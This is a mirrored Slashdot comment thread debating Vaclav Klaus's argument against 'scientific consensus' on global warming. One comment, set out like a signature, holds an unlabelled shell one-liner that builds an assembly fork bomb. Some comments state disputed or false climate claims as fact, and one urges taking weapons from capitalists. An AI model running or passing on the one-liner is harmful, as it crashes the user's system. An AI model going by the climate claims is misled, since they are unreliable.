Slashdot Mirror
Is Scientific Consensus a Threat to Democracy?
chance_encounter writes "President of the Czech Republic Vaclav Klaus has published an article in the Financial Times in which he seems to equate the current global warming debate with totalitarian thought control: 'The dictates of political correctness are strict and only one permitted truth, not for the first time in human history, is imposed on us. Everything else is denounced ... The scientists should help us and take into consideration the political effects of their scientific opinions. They have an obligation to declare their political and value assumptions and how much they have affected their selection and interpretation of scientific evidence.' At the end of the article he proposes several suggestions to improve the global climate debate, including this point: 'Let us resist the politicization of science and oppose the term "scientific consensus," which is always achieved only by a loud minority, never by a silent majority.'"
does that mean that there should be a democratic process to decide on what "1 + 1" is?
First off, we have to realize that global warming is a problem. Next step, reduce, reduce, reduce while scientists, engineers, and inventors come up with a more permanent solution to help rid ourselves of well....not so eco-friendly "things" (everything from transportation, energy, manufacturing, etc.)
and damn...it's hot today.
I think the bigger threat to science and democracy is when the government re-writes scientific reports to say whatever they want like the Bush administration has. I think "scientific consensus" is important to policy decisions. The science itself will work itself out in the long run (and maybe the current consensus will be proven wrong), and politicians should stay out of the scientific debate. The only the reason the author is commenting on this is because he has a policy agenda and wants to try and undermine the other side.
You ivory tower intellectuals must not lose touch with the world of industrial growth and hard currency. It is all well and good to pursue these high-minded scientific theories, but research grants are expensive. To justify your existence, you must provide not only knowledge, but concrete and profitable applications as well.
--CEO Nwabudike Morgan,
"The Ethics of Greed"
Apology to Ubuntu forum.
Would you say the "consensus" is that the world is round? No, because it would never occur to you to say that since the world being round is a verifiable fact. Global warming can't be precisely measured much less duplicated with all variables to make a long term prediction. Would you bet $100 what the temperature is going to be 2 weeks from now with a degree or two? Of course not. According to the fourth U.N. report, the environment is a coupled, chaotic, non-linear system and long term climate change is not predictable. That's what they (the U.N. IPCC) say.
A physicist explains science to third graders:
We take a vote. I ask how we decide who is right, and then I do the experiment... I emphasize that science is not a democracy, it is not the majority but the experiment that decides what is correct.
Sums it up pretty nicely.
We know gravity exists due to observation and testing. A LOT of testing. We test gravity every time we get out of bed. The problem with your parallel is that we can't perform repeated tests of global warming, and the science has not been proven let alone agreed upon, and there is a lot of conflicting data; however, with gravity we can test the models repeatedly in the lab.
Your example merely demonstrated that politicization of science and scientific consensus are indeed real problems by your assumption that the scientific proof for global warming is as substantial as it is for our theories on gravity. It's not, but many people believe it is because the media told them so.
Camping on quad since 1996.
This ideology wants to replace the free and spontaneous evolution of mankind by a sort of central (now global) planning.
The environmentalists ask for immediate political action because they do not believe in the long-term positive impact of economic growth.
He hit it precisely. That is exactly right.
Exploitative arrangements must be replaced with fair central planning.
The currently observed economic growth is the result of the wealth that is plentiful being converted to the poverty that is artificial scarcity to the detriment of us all.
Capitalists are an affront to life itself on this world and every one of us who lives here on this world.
They also own all the weapons of mass destruction, so we won't be able to just walk away and leave them shouting at an empty court.
We're going to have to go get them and take their weapons away from them.
Be ready.
-1 Uncomfortable Truth
The Great Global Warming Swindle is a BBC Documentary (notorious right wing Oil loving company there) featuring many people whom I consider credible people within the scientific community, including the Co-Founder of Greenepeace Patrick Moore who show that the Global Warming movement is primarily political in nature, and is more about being anti-corporate than pro-environment. This is largely the reason why Patric Moore resigned from the organization he confounded in disgust. Regarding the so called consensus, regarding global warming, they have an interview in there with a scientist who was on a list of 2500 climate scientists who contributed to a paper regarding the human origin of global warming who had to sue to get his name removed from the paper. They told him he'd contributed, so his name would be listed, but he told them they didn't listen to anything he was trying to tell them. If you don't thing people get anything out of believing in global warming, that is just flat wrong. If you try to do science suggesting global warming is caused by anything other than man, your funding tends to get pulled real quick. Now I'm not saying global warming is not occurring. You're right, the data clearly shows that. The degree to which it is human caused is widely debated, however. It seems obvious to me that anyone with even a cursory training in science should see that climate is an unbelievably complex field, and we aren't even close to understanding how it works. Occam's Razor tells us that variations in solar output are of far greater importance that anything man is doing. Currently, global warming is also occurring on mars as well as Jupiter. Now before you set out to write your flaming response that I am a shill for the Oil Companies, or I am just selfish, or have my head up my ass, thing to yourself, "Is that a scientific response?". After doing thorough research, I have come to several informed conclusions:
1) Global warming is occurring.
2) Humans are contributing to global warming (how could we not be, again, Occam's Razor)
3) The amount by which we are contributing to global warming is vastly overstated by the Global Warming Movement.
4) The Global Warming movement is primarily an anti corporate movement which uses the scare of global warming to motivate change which is ultimately good, but when taken too far, can cripple economies not only here in the first world, but with even more tragic consequences in the third world.
5) The Global Warming scare is like telling someone that for every Big Mac they eat, they will lose one day off of their life. It may motivate people to make changes which would be good for them, but it does so by telling a lie which may have drastic consequences for third parties.
6) The illusion that environmentalism doesn't hurt anyone, and therefore we should do anything possible to that goal is plain wrong. There is no sense of balance in the debate over what to do about it, and people who don't mouth the party line are branded a heretics.
Most of this is covered quite well in the first link I provided. Watch it, it may just change your mind. Assuming your mind is open to change.
First of all, without documentation, I'm not going to accept your claim at face value (no offense intended, but that's an easy statement to make without evidence). Secondly, there's more than one way to destroy Tuvalu.
Ben Hocking
Need a professional organizer?
Wait... you're kidding, right?
(Step Two: Make a point)
You seriously somehow got the illusion that the 'billions' poured into computer simulations even begins to approach the scale of money involved modern industrial production?
(Step Three: Condescension, with implication of lack of real-world knowledge)
I'm afraid you simply have a lot to learn about how money works in the real world.
(Step Four: ???)
Irish line dancing is the single largest cause of global climate change, after everything else.
(Step Five: Profit!)
You, sir, are just plain dead wrong. There is no "real" money in science research... if they were doing it for Profit!, they wouldn't be spending their days being ridiculed by the likes of you - they'd be out shorting stock for flood insurance companies.
groupthink: It's good for self-esteem.
"The beauty is that (as I'm sure you already realize), you don't have to agree with their politics. A lot of the things that we can do to help the environment will also help our pocketbooks. Of course, it does require looking out a few years sometimes to see the dividends - something that many people aren't willing to do."
Unfortunately that is not always true. In the case of some environmental groups and animal rights activists for instance there is a tendency to implement solutions that are strikingly anti-libertarian in nature, and I might add totally unrealistic about their chances of effectiveness. Using the fringe political spectrum's philosophical and political methods (on the right and left) for implementation of the groups primary mission constrains the range of solutions the group is willing to consider. Less willingness to listen and try new ideas usually results in less effectiveness.
(Oh, and this argument against scientific consensus could just as easily be made against evolution, general relativity, or even quantum mechanics.
Not really. I have read several Richard Dawkins' books and I don't remember him even once appealing to the notion of "scientific consensus" - instead he explains the theory of evolution over and over and over again presenting you with reasonings and examples and computer simulations. And I have studied theoretical physics for five years and haven't once heard anyone invoking consensus to defend general relativity or quantum mechanics.
There is one physics-related field, however, when you can hear about the consensus. It is every now and then invoked by the proponents of nuclear energy, for example when they want to convince you that less than forty people died as a result of the Chernobyl catastrophe. And who knows? Maybe it is true. But on the other hand, it's hard not to notice that, since the whole reason for existence of their field depends on the nuclear energy actually being a viable option, they might be somewhat biased. And, had there been no threat of climate change, probably the climate scientists would have to look for another occupation too? Which, of course, doesn't mean that the climate change couldn't be a real threat.
And I don't know about climate science, but of course with respect to the nuclear energy in reality there is no consensus among scientists. In stark contradistinction to evolution, general relativity and quantum mechanics.
Related reading: "Aliens Cause Global Warming"
I guess they weren't wrong. Yet (which isn't to say they will be, but that it's too early to say). Never base a conclusion off a single sample.
Does anyone else find it strange that Libertarians are willing to put full faith and credit in the rationality of people and corporations when it comes to the "free market," but when it comes to global warming they think everyone's off their rocker? Come on. Which it it, are people rational decision makers (and thus the fundamental precept of capitalism is true), or are people ignorant sheep who frequently go off on wild irrational tangents with the herd (in which case the market isn't ruled by rationality)? You only get to pick one.
Take away the sun's effect on the earth, and is there any proof whatsoever that these manmade global catastrophe gases cause any warming? Not evidence, but proof? Which is my way of saying, "Good one!!!" to jcr (53032)'s response up there.
Karma: Bad is the liberal way of saying this guy won't drink the kool aid here on slash dot. I wear my Karma with pride
Aren't they like the RIAA though? In the case of the RIAA, technological change has invalidated their old business model and they need to find a new one. There's no point spending tax dollars and taking away people's freedom to keep such a dinosaur alive. The RIAA needs to work on a new business model like "package stuff properly and upload it to Pirate Bay".
It's the same with Tuvalu. Americans have up to know been able to emit as much CO2 as they want. People in Tuvalu needs to experiment with new model like "Waterworld" or "Captain Nemo" rather than trying to restrict other countries lifestyles.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
On one hand, you have scientists paid to do research by the government and other public organizations, with no instructions on what they can and cannot publish. These scientists are not paid more if they find that global warming is anthropogenic than if they find that it's not. If you think otherwise, you're drinking the Crichton kool-aid, and are subscribing to the biggest conspiracy theory of them all.
You obviously don't work in academia. Academia works off of grants. Grants are given to study specific things. Two huge sources of grants are AIDS and global warming. So, for instance, if you wanted to research herpes (not that well funded), the easiest way to get that money would be to go after an AIDS grant and research how herpes spread has been affected by AIDS. Similarly, if you want to study elephants in Africa, you would try to get a grant from a climate change group to study how global warming has affected the migration patterns of elephants in Africa. Those organizations that actually give the grants get THEIR funding based on the research that comes back. So if a research paper comes back and says "global warming is not much of a problem", the organization that gave the grant might not have as large a budget next year. It's essentially chopping off the branch you're standing on. Now, if you come back and say "global warming is a huge problem", you'll get more press, the organization that funded you gets more money, you get even more grants to do your research.
Now about your point that oil companies fund the anti-global warming research. The number I've heard on the money oil companies have contributed is in the tens of millions (this from an environmentalist group, I forget which). The actual global warming research being performed from grants in gov't agencies and whatnot? Billions. Now is it a surprise that the scientists on each side of the issue is proportionate to the amount of funding on each side? Let's just say I'm a little skeptical.
Scientific consensus means that several scientists working on the same problem agree with each other. If there's no reasonable majority behind any one theory, you can safely consider the theory to be mostly conjecture.
The kicker on global warming is that we seem to have the majority of scientists saying one thing, while the majority of politicians say something else.
The scientists have nothing to gain/lose other than their reputations / employability. It won't look good to doggedly predict the climate will change year after year as it doesn't, or predict it won't as it does. Scientists don't work in a vacuum though. The researchers for tobacco repeatedly found no serious problems from smoking, so merely being a scientist doesn't give you a halo.
Politicians don't need to be right to keep being employed. Oftentimes, being on the right team is enough. (Republican vs Democrat, while the country swings, many regions do not.) All a politician needs to do is to keep their bosses happy. The bosses are the people who pay the politician on a per issue basis.
Scientists and politicians can both be bought. It could be argued that many scientists are willing to be bought because of trouble finding employment. It could be argued that politicians solicit being bought. That said, why would you buy a scientist or a politician for this issue?
First, if you were an individual, you wouldn't. You could try, but you (unless you were quite rich) wouldn't have the money to throw at buying a large number of people.
Buy a scientist / politician to tell the world global warming is real:
You would do this if your company would profit from increased environmental regulations. Companies that produce alternative fuels might do this. Also, if your business is inherently polluting, but you have much better emissions control than your competition, this would be a short-term advantage over them. How many companies are in one of these two positions? Did I miss situations here? How many startup alternative fuel companies can out lobby established fuel companies raking in obscene profits? Perhaps there's a secret lobby of corn farmers... even if so I doubt they could compete with oil's lobbying power.
Buy a scientist / politician to tell the world global warming is wrong:
Your business is inherently polluting, cleaning equipment and changing production methods is expensive. If you convince people there is no problem, there's no need to change.
Why would you buy a scientist?
If unbiased scientific data pointed one way, you almost have to buy a handful of scientists to disagree so you can claim that you didn't "know" the truth. Think cigarette companies. Once you have a handful of reports, you're good.
Why would you buy a politician?
Politicians make laws, which could force expensive changes. Paying off a few scientists isn't going to change the views of many people, especially if most scientists disagree. Buying a politician guarentees favorable results no matter what the public thinks. Consider how many people hate out-sourcing. Consider that both parties support it, despite the public's obvious hatred of the idea. (Also consider how few people actually make the effort to buy American)
An additional benefit to buying politicians. People are pack animals with a gang mentality. Once you choose your gangs (Yankees / Braves! Democrats / Republicans! Toilet seat up / down!) you tend to blindly follow them, no matter how divorced from reality they may get. (Will the Cubs do well? They finally did, but the loyalty well before that point was amazing) No matter how many scientists say X is bad, if Bush says X is good a disturbing number of people will follow Bush because they take politics as us vs them. If Bush is on one side, the other side is wrong. The same was true with Clinton. People selectively (and I'm convinced, unconciously) filter their perceptions to fit the view of the world they want to have. Political lines are sad
You know, some times I just have to say the hell with the mods. FUCK YOU. I don't go out and fucking belittle something you've dedicated your life to just because you don't agree with me. I am a Ph.D. working in biology...nothing related to global warming or climate change or whatever you "plebeian" wants to call it. Here's a thought, I won't clump you in with a group of stupid retards who can't add 2 + 2 if you won't characterize all scientists as "petty" or "ideological" or "superior" with their "preconceived notions" designed to "maximize future research grants". It's incredibly infuriating and insulting to hear you say that. As a postdoc I get paid barely enough to support a reasonably modest lifestyle in a relatively expensive area, all because I truly believe I can discover something that will enhance the collective knowledge of the human race (and maybe even contribute to human health concerns). How DARE YOU make such a broad statement about scientists. Try taking a stab at sports starts or celebrities... apparently you "plebeians" value them much more. Ever take a fucking aspirin you high-and-mighty ass? Know someone who's had cancer? Of all the professions, I can't believe you'd suggest people get into science to get rich or spend years of arduous training to push a personal ideology. Apparently its much easier just to subscribe to Slashdot and post flamebait. Nice work.
It's ironic that he want to resist the politicization of science as meanwhile his good buddy George W. is doing everything he can to suppress debate on the issue. The Us 'invests' in the Czech Republic, moves missiles in and now Vaclav Klaus is rubbishing Global Warming. Nothing to see here, move along. http://news.yahoo.com/s/ap/20070604/ap_on_go_pr_wh /global_warming_satellites
http://thinkprogress.org/2007/03/20/cheney%E2%80%9 9s-office-involved-in-global-warming-manipulation/
davecb5620@gmail.com
The Life Cycle of Junk Science
Genesis
1) Maverick Scientist has an Idea.
2) Other scientists deride the Idea.
3) SF Writers use Idea as image of bleak future.
4) Academics debate Idea.
5) Politicians begins to discuss the Idea, but don't understand it.
6) General Public ignores the Idea.
Growth
7) Champion arrives to actively promote and publicize Idea.
8) Scientists form a consensus that agrees with Idea.
9) Academics teach Idea as fact.
10) Fast Adapters change lifestyle, ridicule General Public.
11) Hollywood makes disaster movie, sometimes based on SF novel from 3.
12) General Public makes token lifestyle changes.
13) Politicians use Idea to attack political enemies.
Hysteria
14) Scientific consensus begins ruthlessly crushing dissent.
15) Champion is hailed as Messianic Leader.
16) Academics announce society is doomed.
17) General public accepts Idea.
18) Opponents of Idea are cast as wicked and immoral.
19) Music Industry holds benefit, sometimes using film name from 11.
Critical Mass
20) Dissenting Scientist proposes alternative theory to Idea.
21) Scientific consensus denounces Dissenting Scientist.
22) Messianic Leader begins making ludicrous claims unrelated to Idea.
23) Politicians propose massive social, fiscal, and moral changes to accommodate Idea.
24) Time Magazine puts Maverick Scientist, Messiah, Idea, or all 3 on cover.
Death and Rebirth
25) Dissenting Scientist is proven to be right, nothing happens.
26) Scientists form new consensus, claim they knew all along.
27) Fast Adapters are ridiculed by General Public.
28) Academics continue to teach Idea as "compelling theory".
29) Politicians raise taxes, just in case.
30) Messiah and Entertainment Industry find new Maverick Scientist.
31) Return to Step 1
Perhaps he knows a lot about economy - I don't argue that. But there are various schools in economy - with rather opposite opinions on some matters. And thus I'll prefer to believe climatologists rather than an economist on matters of global warming. Of course the proposed restrictions on greenhouse gases do influence economy. And the state should impose those restrictions. Because business is not interested in clean and healthy environment. It is interested in profit. If state does not do it, business won't do it either.
"If Klaus sees a parallel between the way global warming alarmists and the Soviet totalitarians use language to browbeat their opponents, he at least merits a hearing-out rather than an out-of-hand dismissal."
So I guess I should listen to my auto-mechanic about heart problems because he happens to have 30 years of experience dealing with carbuerators?
A scientific consesus is reached by peer-reviewed research, not because the scientist think "OOOO we have a new sugar daddy!".
In the political forum, I'm sure this guy is worth listening to. But only the political jackasses have made this particular area of science a haven for politics.
It's really absurd. People had no problms when it was found that we were causing the ozone hole. We reacted strongly when it was found that we were causing acid rain. Why is it now that people just can't accept the fact that we are AGAIN screwiing up the planet?
The science is there. The models NASA uses are open source. There is even a BOINC project to run model simulations.
Or better yet, those that decry the findings of the scientists should get a degree in the field and do their own research.
~X~
~X~